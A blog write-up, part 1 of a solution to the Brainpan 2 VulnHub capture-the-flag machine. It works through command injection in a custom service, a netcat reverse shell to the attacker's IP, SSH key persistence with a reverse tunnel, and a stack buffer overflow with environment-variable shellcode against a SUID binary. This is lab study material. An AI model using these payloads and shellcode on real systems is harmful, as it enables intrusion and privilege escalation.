published on in writeup
tags: brainpan

Brainpan: 2 - Part 1

Following the popularity of Brainpan 1, Brainpan 2 was released as a competition on VulnHub. I didn’t take part, but since the VM remains on VulnHub, I had a go at it retrospectively. The goal is to gain root access and obtain /root/flag.txt.

Nmap

[email protected]:~# nmap -n -sV -p- -A 192.168.127.131
  
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data.

This output looked identical to Brainpan 1 - the same looking application on 9999 and a web server on 10000. I connected to port 9999 with netcat.

So a little bit different to the original, since this is now asking for a login rather than a password. I found a funny little easter egg by trying shitstorm.

>> shitstorm
Never gonna give you up Never gonna let you down Never gonna run around and desert you

So without thining about it too much, I guessed I would have to exploit this application in the same way as Brainpan 1. I just popped 192.168.127.131:10000/bin/ into my web browser and downloaded the brainpan.exe file which was in there. I then tried running it in wine.

[email protected]:~/brainpan/2# wine brainpan.exe 
wine: Bad EXE format for Z:\root\brainpan\2\brainpan.exe.

A bit unexpected…

[email protected]:~/brainpan/2# file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85"

So it’s actually a JPEG.

Gah, trolled…

I ran nikto and wfuzz against the web service, but nothing popped except the /bin/ directory, so I turned my attention back to the app on 9999.

Command Injection

>> GUEST
                          ACCESS GRANTED
  
                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *

I spent some time playing around with the commands. The HELP commands prints a man page for the application, which reveals a DEBUG account also exists. This enables some extra commands in the application, but nothing more which helped me at this point.

>> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
  
>> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt

There is quite a lot of information here, which come in useful at different parts of the challenge. The most pertinent at this point are the following lines:

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...

If this is how the application is working, then these commands are vulnerable to command injection. The VIEW command takes user input for the filename to display, so I assumed the backend code would look something like:

popen("cat ", + filename);

With no sanitiztion, it would allow me to chain new commands as part of the filename input. I did a quick test, using a ; and the id command.

>> VIEW
    ENTER FILE TO DOWNLOAD: ; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)

Cool. I was then able to take this further to gain a netcat shell on the system.

ENTER FILE TO DOWNLOAD: ; nc 192.168.127.127 4444 -e '/bin/sh'

SSH Foothold

For the sake of a coherent write-up, I’m going to include maintaining SSH access to the system. When I originally exploited Brainpan 2, I didn’t do this until way later on, because I was getting annoyed at losing my remote shells due to making mistakes etc and then having to re-exploit to re-gain access.

netstat -antp
Active Internet connections (servers and established)
tcp        0      0 127.0.1.1:2222          0.0.0.0:*               LISTEN      -
  
ps aux | grep sshd
root      2181  0.0  0.2   6464  1056 ?        Ss   12:49   0:00 /usr/sbin/sshd
  
cat /etc/ssh/sshd_config
ListenAddress 127.0.1.1
Port 2222
  
cat /etc/hosts
127.0.1.1   brainpan2

SSH has been setup up in quite an usual way - listening on an internal address on an alternate port. I set up a reverse SSH connection back to my Kali machine. This allows me to bind 127.0.1.1:2222 on brainpan2 to 127.0.0.1:2222 on Kali and initiate a forward SSH connection, back through the reverse connection.

python -c 'import pty;pty.spawn("/bin/bash")'
cd /home/anansi/.ssh
echo "ssh-rsa AAAA[...snip...]MQGB [email protected]" >> authorized_keys
[email protected]:/opt/brainpan$ ssh root @ 192.168.127.127 -R 2222:127.0.1.1:2222
root @ 192.168.127.127's password:
[email protected]:~#

On my Kali VM:

[email protected]:~# netstat -antp
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      3986/3
  
[email protected]:~# ssh anansi @ 127.0.0.1 -p 2222
[email protected]:~$ 

More Trolls?

With convenient access to the system, I carried out some more enumeration.

cat /etc/passwd
root:x:104:106:root:/root:/bin/bash
root :x:0:0:root:/var/root:/bin/bash
anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash
puck:x:1001:1001:puck,,,:/home/puck:/bin/bash
reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash
  
cat /etc/group
root:x:106:
root :x:0:
anansi:x:1000:
puck:x:1001:
reynard:x:1002:

Having a look through the users and groups, I noticed that there appeared to be two root users (uid 0 and 106). It seems that the real root account has been renamed to contain a space at the end. In addition to this, there’s a SUID binary available that appears to be owned by root.

find / -perm -4000 -type f 2>/dev/null
/home/reynard/msg_root
[email protected]:~$ ls -l /home/reynard/msg_root
-rwsr-xr-x 1 root root 8999 Nov  6  2013 /home/reynard/msg_root

I’m going to assume that exploiting this binary won’t give me real root access. But I couldn’t find any other route to gain further access to the system, so I just went with it…

msg_root

I ran this binary quickly to see what it would do. It appears to be an application to send a message to another user on the system. It takes two inputs, a message and the destination user.

[email protected]:/home/reynard$ ./msg_root 
usage: msg_root username message

I copied the binary to my Kali machine to do some proper analysis.

[email protected]:~/brainpan/2# strings msg_root 
strcpy
strncpy

It seems as though one of the inputs is copied with the vulnerable strcpy function, and is likely to be vulnerable to a buffer overflow.

[email protected]:~/brainpan/2# ./msg_root `python -c 'print ("A" * 100)'` a
Segmentation fault

I managed to crash it pretty quickly, so now to load it up in GDB.

(gdb) r `python -c 'print ("A" * 500)'` a
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
  
(gdb) i r
eax            0x41414141   1094795585
ecx            0x61 97
edx            0xbffff6fe   -1073744130
ebx            0xb7fbeff4   -1208225804
esp            0xbffff2b4   0xbffff2b4
ebp            0xbffff2d8   0xbffff2d8
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141

I found that EIP is overwritten at just 14 bytes. I sent a larger buffer of A’s, B’s and C’s to try and get a better understanding of what is getting overwritten on the stack.

(gdb) r `python -c 'print ("A" * 14) + ("B" * 4) + ("C" * 482)'` a
  
(gdb) i r
eax            0x42424242   1111638594
ecx            0x61 97
edx            0xbffff6fe   -1073744130
ebx            0xb7fbeff4   -1208225804
esp            0xbffff2b4   0xbffff2b4
ebp            0xbffff2d8   0xbffff2d8
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
  
(gdb) x/20x $esp
0xbffff2b4: 0x0804872e  0xbffff2c6  0x0804a008  0x00000001
0xbffff2c4: 0x4141f394  0x41414141  0x41414141  0x0804a008
0xbffff2d4: 0x42424242  0xbffff2e8  0x0804877b  0xbffff508
0xbffff2e4: 0xbffff6fd  0xbffff368  0xb7e75e46  0x00000003
0xbffff2f4: 0xbffff394  0xbffff3a4  0xb7fe0860  0xb7ff6821

It seems that EIP was pointing at EAX as they are both getting overwritten by my B’s. I can see a couple of A’s, but my C’s are nowhere to be found. Even though I can control EIP, where am I going to jump to if I can’t add anymore data to the stack…?

I checked to see is ASLR was disabled on the system.

[email protected]:/home/reynard$ cat /proc/sys/kernel/randomize_va_space 
0

Sweet - so it may be possible to insert shellcode as an environmental variable, and jump to that area of memory. I first tried it out on my Kali box (disable ASLR with echo 0 > /proc/sys/kernel/randomize_va_space).

Write the shellcode to memory, including a small NOP slide:

[email protected]:~/brainpan/2# export egg=`python -c 'print ("\x90" * 50) + "\xb8\x83\x64\xca\x02\xdd\xc1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2\x76\x0e\xc1\x5a\xe1\x9d\xb3\x32\x3c\x41\xb5\x24\x56\xaa\xb6\xc2\xa6\xdc\x17\x71\xcf\x72\xe1\x96\x5d\x63\xf9\x58\x61\x73\xd5\x3a\x08\x1d\x06\xc8\xa2\xe1\x0f\x7d\xbb\x03\x62\x01"'`


[email protected]:~/brainpan/2# ./findaddr 
egg => 0xbffffcfb

Time to test it:

[email protected]:~/brainpan/2# ./msg_root `python -c 'print ("A" * 14) + "\xfb\xfc\xff\xbf"'` a
#

Woop - the # character confims a new /bin/sh shell has been spawned. I repeated the process on brainpan2 and…

[email protected]:/home/reynard$ ./msg_root `python -c 'print ("A" * 14) + "\x97\xfe\xff\xbf"'` a
$ id; whoami
uid=1000(anansi) gid=1000(anansi) euid=104(root) groups=106(root),50(staff),1000(anansi)
root

Naturally the first instinct is to run over to the flag.

$ ls -la /root/flag.txt
-rw------- 1 root  root  461 Nov  5  2013 /root/flag.txt

$ cat /root/flag.txt
cat: /root/flag.txt: Permission denied

Gaba-whaaa…..? There’s another file in /root that can be read however.

-rw-------  1 root  root   245 Nov  5  2013 whatif.txt
  
$ cat /root/whatif.txt
  
       WHAT IF I TOLD YOU
              ___
            /     \ 
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.
       YOU ARE NOT ROOT?

Haha - so we are actually root uid 106, rather than the real root. Another good troll by superkojiman, but at least I saw this one coming ;)

All is not lost however, as this user, I can now access another SUID binary found in /opt/old/brainpan-1.8. I’ll cover this in Part 2…

findaddr.c

#include <stdio.h>
#include <stdlib.h>
   
int main(void)
{
  char *s = getenv("egg");
  printf("egg => %p\n", s);
  return 0;
}